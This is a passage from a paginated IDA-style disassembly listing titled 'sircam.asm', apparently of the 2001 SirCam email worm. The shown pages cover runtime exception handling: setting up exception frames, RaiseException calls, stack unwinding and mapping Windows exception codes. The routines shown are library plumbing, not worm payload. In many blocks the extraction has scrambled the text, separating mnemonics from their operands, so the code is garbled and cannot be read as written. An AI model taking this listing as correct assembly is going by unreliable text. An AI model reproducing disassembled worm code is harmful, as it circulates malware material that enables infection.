ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_402CA0: ; ; ; ; ; DATA XREF: CODE:00401038\030o ; CODE:00406220\031o ... mov eax, 8000FFFFh retn ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 4 [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 4 [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 4 sircam.asm Fri Aug 10 12:42:44 2001 59 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402CB4 proc near ; DATA XREF: CODE:00401044\030o ; CODE:0040622C\031o ... push ebx mov bx, [edx] or bx, bx jz short loc_402CD4 cmp bx, 0C000h jnb short loc_402CD4 push eax mov eax, [eax] call sub_402C58 pop eax jz short loc_402CD4 mov ecx, ebx pop ebx jmp ecx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402CD4: sub_402CB4 ; CODE XREF: sub_402CB4+7\030j ; sub_402CB4+E\030j ... pop mov jmp endp ebx ecx, [eax] dword ptr [ecx-10h] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402CDC proc near arg_0 = byte ptr push push push test jl call loc_402CE6: sub_402CDC xor lea mov mov mov mov mov mov pop pop pop retn endp ; CODE XREF: sub_402BAC+7\030p ; sub_409450+A\031p ... 10h edx ecx ebx dl, dl short loc_402CE6 dword ptr [eax-0Ch] ; CODE XREF: sub_402CDC+5\030j edx, edx ecx, [esp+arg_0] ebx, fs:[edx] [ecx], ebx [ecx+8], ebp dword ptr [ecx+4], offset loc_402D05 [ecx+0Ch], eax fs:[edx], ecx ebx ecx edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402D05: ; DATA XREF: sub_402CDC+18\030o jmp loc_402E34 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov eax, [esp+2Ch] mov eax, [eax+0Ch] sircam.asm Fri Aug 10 12:42:44 2001 test jz mov mov push call pop call 60 eax, eax short loc_402D23 ecx, [eax] dl, 81h eax dword ptr [ecx-4] eax sub_402D2C loc_402D23: ; CODE XREF: CODE:00402D13\030j call sub_402FB4 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402D2C proc near sub_402D2C mov call retn endp ; CODE XREF: sub_402BCC+9\030p ; CODE:00402D1E\030p ... edx, [eax] dword ptr [edx-8] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402D34 proc near sub_402D34 push mov call pop retn endp ; CODE XREF: sub_402BAC+10\030p ; sub_409450+25\031p ... eax edx, [eax] dword ptr [edx-1Ch] eax ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402D3C . proc near ; CODE XREF: sub_402BCC\030p sub_40A524+2\031p .. test dl, dl jg short loc_402D41 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402D41: sub_402D3C push push mov call pop pop retn endp ; CODE XREF: sub_402D3C+2\030j eax edx edx, [eax] dword ptr [edx-18h] edx eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402D4C proc near ; CODE XREF: sub_402FB4+35\031p cmp ds:byte_41C008, 1 jbe short locret_402D65 sircam.asm Fri Aug 10 12:42:44 2001 push push push push call 0 0 0 0EEDFADFh j_RaiseException locret_402D65: sub_402D4C 61 ; CODE XREF: sub_402D4C+7\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402D68 proc near ; CODE XREF: CODE:00402E81\031p cmp ds:byte_41C008, 0 jz short locret_402D87 push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call j_RaiseException add esp, 8 pop eax locret_402D87: sub_402D68 ; CODE XREF: sub_402D68+7\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402D88: ; CODE XREF: sub_402D9C+B\031j push push push push call add pop retn esp 1 0 0EEDFAE0h j_RaiseException esp, 4 eax ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402D9C proc near ; CODE XREF: CODE:00402F30\031p cmp ds:byte_41C008, 1 jbe short locret_402DAC push eax push ebx jmp loc_402D88 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_402DAC: sub_402D9C ; CODE XREF: sub_402D9C+7\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402DB0 proc near ; CODE XREF: sub_402DD0+C\031p test ecx, ecx jz short locret_402DCD sircam.asm Fri Aug 10 12:42:44 2001 62 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_402DC8 cmp byte ptr [ecx], 0EBh jnz short locret_402DCD movsx eax, al inc ecx inc ecx jmp short loc_402DCB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402DC8: ; CODE XREF: sub_402DB0+A\030j add ecx, 5 add ecx, eax loc_402DCB: ; CODE XREF: sub_402DB0+16\030j locret_402DCD: sub_402DB0 ; CODE XREF: sub_402DB0+2\030j ; sub_402DB0+F\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402DD0 proc near ; CODE XREF: CODE:00402F85\031p cmp ds:byte_41C008, 1 jbe short locret_402DF5 push eax push edx push ecx call sub_402DB0 push ecx push esp push 1 push 0 push 0EEDFAE1h call j_RaiseException pop ecx pop ecx pop edx pop eax locret_402DF5: sub_402DD0 ; CODE XREF: sub_402DD0+7\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402DF8 proc near ; CODE XREF: sub_403008+28\031p cmp ds:byte_41C008, 1 jbe short locret_402E12 push edx push esp push 1 push 0 push 0EEDFAE2h call j_RaiseException pop edx locret_402E12: sub_402DF8 ; CODE XREF: sub_402DF8+7\030j retn endp sircam.asm Fri Aug 10 12:42:44 2001 63 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402E14 proc near ; CODE XREF: CODE:00403170\031p push eax push edx cmp ds:byte_41C008, 1 jbe short loc_402E2E push esp push 2 push 0 push 0EEDFAE3h call j_RaiseException loc_402E2E: sub_402E14 ; CODE XREF: sub_402E14+9\030j pop pop retn endp edx eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_402E34: ; CODE XREF: CODE:00402D05\030j ; sub_4031E0+46\031j ... mov eax, [esp+4] test dword ptr [eax+4], 6 jnz loc_402F57 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_402EC1 cld call sub_402B4C mov edx, ds:dword_41E00C test edx, edx jz loc_402F57 call edx test eax, eax jz loc_402F57 mov edx, [esp+0Ch] mov ecx, [esp+4] cmp dword ptr [ecx], 0EEFFACEh jz short loc_402EB8 call sub_402D68 cmp ds:byte_41C00C, 0 jbe short loc_402EB8 cmp ds:byte_41C008, 0 ja short loc_402EB8 lea ecx, [esp+4] push eax push ecx call j_UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_402F57 mov edx, eax mov eax, [esp+4] mov ecx, [eax+0Ch] jmp short loc_402EE8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402EB8: ; CODE XREF: CODE:00402E7F\030j ; CODE:00402E8D\030j ... mov mov edx, eax eax, [esp+4] sircam.asm Fri Aug 10 12:42:44 2001 64 mov ecx, [eax+0Ch] cmp jbe cmp ja push lea push push push call cmp pop pop pop jz ; CODE XREF: CODE:00402E51\030j ds:byte_41C00C, 1 short loc_402EE8 ds:byte_41C008, 0 short loc_402EE8 eax eax, [esp+8] edx ecx eax j_UnhandledExceptionFilter eax, 0 ecx edx eax short loc_402F57 or push xor push push push mov push push push push mov push push push push call ; CODE XREF: CODE:00402EB6\030j ; CODE:00402EC8\030j ... dword ptr [eax+4], 2 ebx ebx, ebx esi edi ebp ebx, fs:[ebx] ebx eax edx ecx edx, [esp+28h] 0 eax offset loc_402F0B edx j_RtlUnwind loc_402EC1: loc_402EE8: loc_402F0B: ; DATA XREF: CODE:00402F00\030o mov edi, [esp+28h] call sub_4059F0 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_402F37 add ebx, 5 call sub_402D9C jmp ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402F37: ; DATA XREF: CODE:00402F26\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call sub_4059F0 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_402BDC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402F57: ; CODE XREF: CODE:00402E3F\030j ; CODE:00402E61\030j ... mov eax, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 loc_402F60: 65 ; CODE XREF: CODE:004019BA\030j ; sub_4019C8+D6\030j ... mov mov test jz mov mov push push push push mov add call call pop pop pop pop eax, [esp+4] edx, [esp+8] dword ptr [eax+4], 6 short loc_402F90 ecx, [edx+4] dword ptr [edx+4], offset loc_402F90 ebx esi edi ebp ebp, [edx+8] ecx, 5 sub_402DD0 ecx ebp edi esi ebx loc_402F90: ; CODE XREF: CODE:00402F6F\030j ; DATA XREF: CODE:00402F74\030o mov eax, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402F98 proc near sub_402F98 pop push push push push push push push push push push push push jmp endp ; CODE XREF: sub_406CBC+11\031p ; sub_406CD4+37\031p ... edx esp ebp edi esi ebx eax edx esp 7 1 0EEDFADEh edx j_RaiseException ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402FB4 proc near arg_2C = dword ptr mov mov call mov mov mov mov and ; CODE XREF: CODE:00402D23\030p ; sub_4031E0+50\031p ... 30h eax, [esp+arg_2C] dword ptr [eax+4], offset loc_402FFF sub_4059F0 edx, [eax+0] ecx, [edx] [eax+0], ecx eax, [edx+0Ch] dword ptr [eax+4], 0FFFFFFFDh sircam.asm Fri Aug 10 12:42:44 2001 cmp jz mov call call dword ptr [eax], 0EEDFADEh short loc_402FEE eax, [edx+8] sub_402BDC sub_402D4C xor add mov pop mov mov pop pop pop pop eax, eax esp, 14h edx, fs:[eax] ecx edx, [edx] [ecx], edx ebp edi esi ebx loc_402FEE: ; CODE XREF: sub_402FB4+2B\030j loc_402FFF: sub_402FB4 66 ; DATA XREF: sub_402FB4+4\030o mov eax, 1 retn endp ; sp = 28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403008 proc near arg_2C = dword ptr sub_403008 call mov mov mov mov call pop mov xor pop mov pop pop call jmp endp ; CODE XREF: sub_4031E0+55\031p ; sub_403240+55\031p ... 30h sub_4059F0 edx, [eax+0] ecx, [edx] [eax+0], ecx eax, [edx+8] sub_402BDC edx esp, [esp+0FFFFFFFCh+arg_2C] eax, eax ecx fs:[eax], ecx eax ebp sub_402DF8 edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403038 proc near arg_0 arg_4 = dword ptr = dword ptr xor mov mov add mov call retn ; CODE XREF: sub_401FD8+ED\030p ; sub_401FD8+142\030p ... 4 8 edx, edx ecx, [esp+arg_4] eax, [esp+arg_0] ecx, 5 fs:[edx], eax ecx 0Ch sircam.asm sub_403038 Fri Aug 10 12:42:44 2001 67 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403050 sub_403050 proc near mov [esp+0], edx jmp sub_4034BC endp ; CODE XREF: CODE:004030F3\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40305C: ; CODE XREF: CODE:0040315B\031j ; CODE:00403167\031j push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_403097 jz short loc_4030C9 cmp eax, 0C000008Eh jg short loc_403089 jz short loc_4030CD sub eax, 0C0000005h jz short loc_4030D9 sub eax, 87h jz short loc_4030C1 dec eax jz short loc_4030D5 jmp short loc_4030E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403089: ; CODE XREF: CODE:00403072\030j add eax, 3FFFFF71h sub eax, 2 jb short loc_4030C9 jz short loc_4030C5 jmp short loc_4030E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403097: ; CODE XREF: CODE:00403069\030j cmp eax, 0C0000096h jg short loc_4030AF jz short loc_4030DD sub eax, 0C0000093h jz short loc_4030D5 dec eax jz short loc_4030BD dec eax jz short loc_4030D1 jmp short loc_4030E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030AF: ; CODE XREF: CODE:0040309C\030j sub eax, 0C00000FDh jz short loc_4030E5 sub eax, 3Dh jz short loc_4030E1 jmp short loc_4030E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 68 loc_4030BD: ; CODE XREF: CODE:004030A8\030j mov al, 0C8h jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030C1: ; CODE XREF: CODE:00403082\030j mov al, 0C9h jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030C5: ; CODE XREF: CODE:00403093\030j mov al, 0CDh jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030C9: ; CODE XREF: CODE:0040306B\030j ; CODE:00403091\030j mov al, 0CFh jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030CD: ; CODE XREF: CODE:00403074\030j mov al, 0C8h jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030D1: ; CODE XREF: CODE:004030AB\030j mov al, 0D7h jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030D5: ; CODE XREF: CODE:00403085\030j ; CODE:004030A5\030j mov al, 0CEh jmp short loc_4030EB ; 